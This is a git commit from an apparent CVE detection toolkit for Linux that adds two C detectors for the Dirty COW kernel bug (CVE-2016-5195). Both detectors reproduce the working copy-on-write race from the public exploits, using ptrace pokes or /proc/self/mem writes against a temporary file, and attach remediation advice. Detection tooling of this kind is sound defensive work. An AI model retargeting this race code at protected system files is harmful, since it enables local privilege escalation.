cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

commit 4bf0dfe2b7cae70c9a9eea0f948b70c57e9b74ee
parent dd2cf6cd26b843f6b6f4210c6623df5723d6f593
Author: finwo <finwo@pm.me>
Date:   Tue, 19 May 2026 15:40:05 +0200

Add cve-2016-5195 detector

Diffstat:
MREADME.md | 11++++++-----
Asrc/detector/cve-2016-5195-pokedata.c | 208+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/detector/cve-2016-5195-procmem.c | 173+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Msrc/main.c | 10++++++++++
4 files changed, 397 insertions(+), 5 deletions(-)

diff --git a/README.md b/README.md @@ -4,11 +4,12 @@ A lightweight CVE detection toolkit for Linux systems. ## Detected Vulnerabilities -| CVE | Alias | Details | -| ----------------------------------------------------------------- | --------------- | ---------------------------------------------------- | -| [CVE-2026-31431](https://www.cve.org/CVERecord?id=CVE-2026-31431) | CopyFail | Kernel crypto initialization bypass via `algif_aead` | -| [CVE-2026-43284](https://www.cve.org/CVERecord?id=CVE-2026-43284) | DirtyFrag | xfrm-ESP page-cache write LPE | -| [CVE-2026-46333](https://nvd.nist.gov/vuln/detail/CVE-2026-46333) | ssh-keysign-pwn | pidfd_getfd FD theft via mm-NULL dumpable bypass | +| CVE | Alias | Details | +| ------------------------------------------------------------------ | --------------- | -------------------------------------------------------------------------- | +| [CVE-2016-5195](https://nvd.nist.gov/vuln/detail/CVE-2016-5195) | dirtycow | Privileged page-cache write via COW race (`pokedata` + `procmem` variants) | +| [CVE-2026-31431](https://www.cve.org/CVERecord?id=CVE-2026-31431) | CopyFail | Kernel crypto initialization bypass via `algif_aead` | +| [CVE-2026-43284](https://www.cve.org/CVERecord?id=CVE-2026-43284) | DirtyFrag | xfrm-ESP page-cache write LPE | +| [CVE-2026-46333](https://nvd.nist.gov/vuln/detail/CVE-2026-46333) | ssh-keysign-pwn | pidfd_getfd FD theft via mm-NULL dumpable bypass | ## Build diff --git a/src/detector/cve-2016-5195-pokedata.c b/src/detector/cve-2016-5195-pokedata.c @@ -0,0 +1,208 @@ +/* + * CVE-2016-5195 — Dirty COW (PTRACE_POKEDATA variant) + * + * The kernel's get_user_pages() in a copy-on-write race allows an + * unprivileged user to write to read-only memory mappings that are backed + * by a file. This detector uses the PTRACE_POKEDATA variant. + * + * Architecture (follows upstream pokemon.c): + * - Parent creates a temp file (100 bytes of known data) and a pipe. + * - Child maps the file MAP_PRIVATE|PROT_READ, starts a madvise-thrasher + * thread, then ptrace-traces-me and SIGSTOPs itself. + * - Parent reads the child's mmap address from the pipe, waits for the + * child to stop, then writes into the child's COW page via + * PTRACE_POKEDATA in a tight loop (matching upstream's 10K*10K retries). + * - Child checks whether the FILE'S page cache was corrupted by reading + * via pread (bypasses the COW mapping). + * + * Safe testing: creates a temporary file, attempts the COW page-cache + * corruption, verifies the byte was overwritten in the cache, then + * removes the temp file — leaving no system state modified. + * + * References: + * https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs + * https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c + */ +#define _GNU_SOURCE +#include <errno.h> +#include <fcntl.h> +#include <pthread.h> +#include <signal.h> +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <sys/mman.h> +#include <sys/ptrace.h> +#include <sys/stat.h> +#include <sys/types.h> +#include <sys/wait.h> +#include <unistd.h> + +#include "setup.h" + +/* Region size matching upstream's madvise(map, 100, ...) */ +#define MAP_SIZE 100 +#define MAGIC_ORIG 'X' +#define MAGIC_COW 'Y' +#define MAX_POKES 10000 + +static volatile int g_thr_running = 1; + +static void *madvise_thread(void *arg) { + char *map = (char *)arg; + while (g_thr_running) { + madvise(map, MAP_SIZE, MADV_DONTNEED); + __asm__ volatile("" ::: "memory"); + (void)*map; /* force page fault */ + } + return NULL; +} + +int detector_cve_2016_5195_pokedata(struct cve_context *ctx) { + int fd = -1; + int result = 0; + int pipefd[2]; + + /* 1. Create temp file with known bytes */ + char path[] = "/tmp/.cve_2016_5195_pd_XXXXXX"; + fd = mkstemp(path); + if (fd < 0) { + if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-pokedata] mkstemp: %s\n", strerror(errno)); + return 0; + } + unlink(path); /* fd keeps it alive */ + + char buf[MAP_SIZE]; + memset(buf, MAGIC_ORIG, sizeof(buf)); + if (write(fd, buf, sizeof(buf)) != sizeof(buf)) { + close(fd); + return 0; + } + fsync(fd); + + /* 2. Pipe for child→parent address communication */ + if (pipe(pipefd) < 0) { + close(fd); + return 0; + } + + /* 3. Fork */ + pid_t child = fork(); + if (child < 0) { + close(fd); + close(pipefd[0]); + close(pipefd[1]); + return 0; + } + + if (child == 0) { + /* ---- CHILD ---- */ + close(pipefd[0]); + + char *map = mmap(NULL, MAP_SIZE, PROT_READ, MAP_PRIVATE, fd, 0); + if (map == MAP_FAILED) _exit(5); + + /* Verify original content */ + for (int i = 0; i < MAP_SIZE; i++) + if (map[i] != MAGIC_ORIG) { + munmap(map, MAP_SIZE); + _exit(6); + } + + /* Report mapping address to parent */ + uintptr_t addr = (uintptr_t)map; + if (write(pipefd[1], &addr, sizeof(addr)) != (ssize_t)sizeof(addr)) _exit(7); + close(pipefd[1]); + + /* Start madvise thrasher (runs until parent finishes poking) */ + pthread_t thr; + g_thr_running = 1; + if (pthread_create(&thr, NULL, madvise_thread, map) != 0) _exit(8); + + /* + * Request tracing + SIGSTOP so parent can attach and write. + * Matches upstream pokemon.c: PTRACE_TRACEME + SIGSTOP. + */ + ptrace(PTRACE_TRACEME); + kill(getpid(), SIGSTOP); + + /* After parent detaches, poll page cache via pread */ + int hit = 0; + for (int i = 0; i < MAX_POKES && !hit; i++) { + char c; + if (pread(fd, &c, 1, 0) == 1 && c == MAGIC_COW) + hit = 1; + else + usleep(1000); + } + + g_thr_running = 0; + pthread_join(thr, NULL); + munmap(map, MAP_SIZE); + close(fd); + _exit(hit ? 0 : 3); + } + + /* ---- PARENT ---- */ + close(pipefd[1]); + close(fd); /* child has its own copy */ + + /* Read child's mmap address */ + uintptr_t child_addr = 0; + ssize_t n = read(pipefd[0], &child_addr, sizeof(child_addr)); + close(pipefd[0]); + if (n != (ssize_t)sizeof(child_addr)) { + kill(child, SIGKILL); + waitpid(child, NULL, 0); + return 0; + } + + /* Wait for child's SIGSTOP (from PTRACE_TRACEME path) */ + int status; + waitpid(child, &status, 0); + if (!WIFSTOPPED(status)) { + kill(child, SIGKILL); + waitpid(child, NULL, 0); + return 0; + } + + /* + * Poke the child's COW mapping in a tight loop. + * Upstream pokemon.c does 10K * 10K = 100M iterations; + * we use 10K which is enough to win the race on a + * vulnerable kernel while keeping the detector fast. + */ + for (int i = 0; i < MAX_POKES; i++) { + long val = ptrace(PTRACE_PEEKDATA, child, (void *)child_addr, NULL); + long newval = (val & ~0xFFUL) | (unsigned char)MAGIC_COW; + ptrace(PTRACE_POKEDATA, child, (void *)child_addr, (void *)newval); + } + + /* Detach so child resumes */ + ptrace(PTRACE_DETACH, child, NULL, NULL); + + /* Wait for child to finish its pread poll */ + int cstatus; + waitpid(child, &cstatus, 0); + + if (WIFEXITED(cstatus) && WEXITSTATUS(cstatus) == 0) { + if (ctx && ctx->verbose) + fprintf(stderr, + "[dirtycow-pokedata] VULNERABLE: page cache " + "corrupted via PTRACE_POKEDATA\n"); + result = 1; + } + + return result; +} + +__attribute__((constructor)) void detector_cve_2016_5195_pokedata_setup(void) { + detector_queue_append("CVE-2016-5195/pokedata", "dirtycow", + "Update the Linux kernel to >= 4.8.3 / 4.7.9 / 4.4.26 or later.\n" + " The fix is commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619.\n" + " As a temporary mitigation, ensure kernel.yama.ptrace_scope >= 1\n" + " (blocks unprivileged ptrace of unrelated processes), though this\n" + " does not fully mitigate all Dirty COW variants.", + detector_cve_2016_5195_pokedata); +} diff --git a/src/detector/cve-2016-5195-procmem.c b/src/detector/cve-2016-5195-procmem.c @@ -0,0 +1,173 @@ +/* + * CVE-2016-5195 — Dirty COW (/proc/self/mem variant) + * + * The kernel's get_user_pages() in a copy-on-write race allows an + * unprivileged user to write to read-only memory mappings that are backed + * by a file. This detector uses the /proc/self/mem write variant. + * + * Architecture (follows upstream dirtyc0w.c): + * - A temp file is filled with known bytes. + * - It is mapped MAP_PRIVATE|PROT_READ. + * - Thread 1: continuously calls madvise(MADV_DONTNEED) on the mapping. + * - Thread 2 (main): repeatedly seeks /proc/self/mem to the mapping's + * address and writes the poison byte. + * - After both threads finish, the file is read via pread to check + * whether the page cache was corrupted. + * + * Safe testing: creates a temporary file, attempts the COW page-cache + * corruption, verifies the byte was overwritten in the cache, then + * removes the temp file — leaving no system state modified. + * + * References: + * https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs + * https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c + */ +#define _GNU_SOURCE +#include <errno.h> +#include <fcntl.h> +#include <pthread.h> +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <sys/mman.h> +#include <sys/stat.h> +#include <sys/types.h> +#include <unistd.h> + +#include "setup.h" + +/* Matches upstream: madvise(map, 100, MADV_DONTNEED) */ +#define MAP_SIZE 100 +#define MAGIC_ORIG 'X' +#define MAGIC_COW 'Z' + +/* Number of lseek+write iterations per thread. + * Upstream dirtyc0w.c uses 100 000 000. + * We use a smaller count since we only need to detect — not fully + * exploit — and we poll the page cache between iterations. */ +#define MAX_ATTEMPTS 1000 + +static char *g_map; +static volatile int g_hit = 0; + +/* + * madvise thread — continuously discards the page so the next access + * triggers a page fault, which races against the /proc/self/mem write. + * Mirrors upstream dirtyc0w.c madviseThread(). + */ +static void *madvise_thread(void *arg) { + (void)arg; + for (int i = 0; i < MAX_ATTEMPTS && !g_hit; i++) { + madvise(g_map, MAP_SIZE, MADV_DONTNEED); + /* force page fault */ + __asm__ volatile("" ::: "memory"); + (void)*g_map; + } + return NULL; +} + +int detector_cve_2016_5195_procmem(struct cve_context *ctx) { + int fd = -1; + int mem_fd = -1; + int result = 0; + + /* 1. Create temp file with known bytes */ + char path[] = "/tmp/.cve_2016_5195_pm_XXXXXX"; + fd = mkstemp(path); + if (fd < 0) { + if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-procmem] mkstemp: %s\n", strerror(errno)); + return 0; + } + unlink(path); /* fd keeps it alive */ + + char buf[MAP_SIZE]; + memset(buf, MAGIC_ORIG, sizeof(buf)); + if (write(fd, buf, sizeof(buf)) != sizeof(buf)) { + close(fd); + return 0; + } + fsync(fd); + + /* 2. Map read-only, private (COW) — same as upstream */ + g_map = mmap(NULL, MAP_SIZE, PROT_READ, MAP_PRIVATE, fd, 0); + if (g_map == MAP_FAILED) { + close(fd); + return 0; + } + + /* Sanity: verify original content */ + for (int i = 0; i < MAP_SIZE; i++) { + if (g_map[i] != MAGIC_ORIG) { + munmap(g_map, MAP_SIZE); + close(fd); + return 0; + } + } + + /* 3. Open /proc/self/mem for writing */ + mem_fd = open("/proc/self/mem", O_RDWR); + if (mem_fd < 0) { + if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-procmem] open(/proc/self/mem): %s\n", strerror(errno)); + munmap(g_map, MAP_SIZE); + close(fd); + return 0; + } + + /* + * 4. Two-thread race — mirrors upstream dirtyc0w.c: + * Thread A (madviseThread): madvise + fault in a loop + * Thread B (main): lseek + write to /proc/self/mem + * + * We also poll the page cache (via pread) between write attempts + * so we can stop early if the race is won. + */ + pthread_t thr; + if (pthread_create(&thr, NULL, madvise_thread, NULL) != 0) { + close(mem_fd); + munmap(g_map, MAP_SIZE); + close(fd); + return 0; + } + + char cow_byte = MAGIC_COW; + for (int attempt = 0; attempt < MAX_ATTEMPTS && !g_hit; attempt++) { + /* Reset file pointer to the mapping's virtual address */ + if (lseek(mem_fd, (off_t)(uintptr_t)g_map, SEEK_SET) < 0) continue; + + if (write(mem_fd, &cow_byte, 1) == 1) { + /* + * Check page cache via pread — this bypasses the COW + * mapping and reads the actual cached page. If the race + * was won, the page cache will contain MAGIC_COW. + */ + char cb; + if (pread(fd, &cb, 1, 0) == 1 && cb == MAGIC_COW) { + g_hit = 1; + result = 1; + if (ctx && ctx->verbose) + fprintf(stderr, + "[dirtycow-procmem] VULNERABLE: page cache " + "corrupted via /proc/self/mem (attempt %d)\n", + attempt + 1); + } + } + } + + /* 5. Wait for madvise thread to finish and clean up */ + pthread_join(thr, NULL); + close(mem_fd); + munmap(g_map, MAP_SIZE); + close(fd); + + return result; +} + +__attribute__((constructor)) void detector_cve_2016_5195_procmem_setup(void) { + detector_queue_append("CVE-2016-5195/procmem", "dirtycow", + "Update the Linux kernel to >= 4.8.3 / 4.7.9 / 4.4.26 or later.\n" + " The fix is commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619.\n" + " This variant does not require ptrace and works even when\n" + " kernel.yama.ptrace_scope >= 1.", + detector_cve_2016_5195_procmem); +} diff --git a/src/main.c b/src/main.c @@ -4,6 +4,13 @@ #include "detector/setup.h" #include "license_data.h" +static void print_supported_cves(void) { + fprintf(stdout, "Supported CVEs:\n"); + for (int i = 0; i < detector_queue_length; i++) { + fprintf(stdout, " %-30s %s\n", detector_queue[i]->name, detector_queue[i]->alias ? detector_queue[i]->alias : ""); + } +} + int main(int argc, char **argv) { setvbuf(stderr, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); @@ -20,6 +27,9 @@ int main(int argc, char **argv) { " -v, --verbose Run detection with verbose logging\n" " -h, --help Show this help message\n" " --license Print license and exit\n" + "\n"); + print_supported_cves(); + fprintf(stdout, "\n" "Copyright (c) 2026 finwo\n" "https://git.finwo.net/app/cve-toolkit/file/README.md.html\n");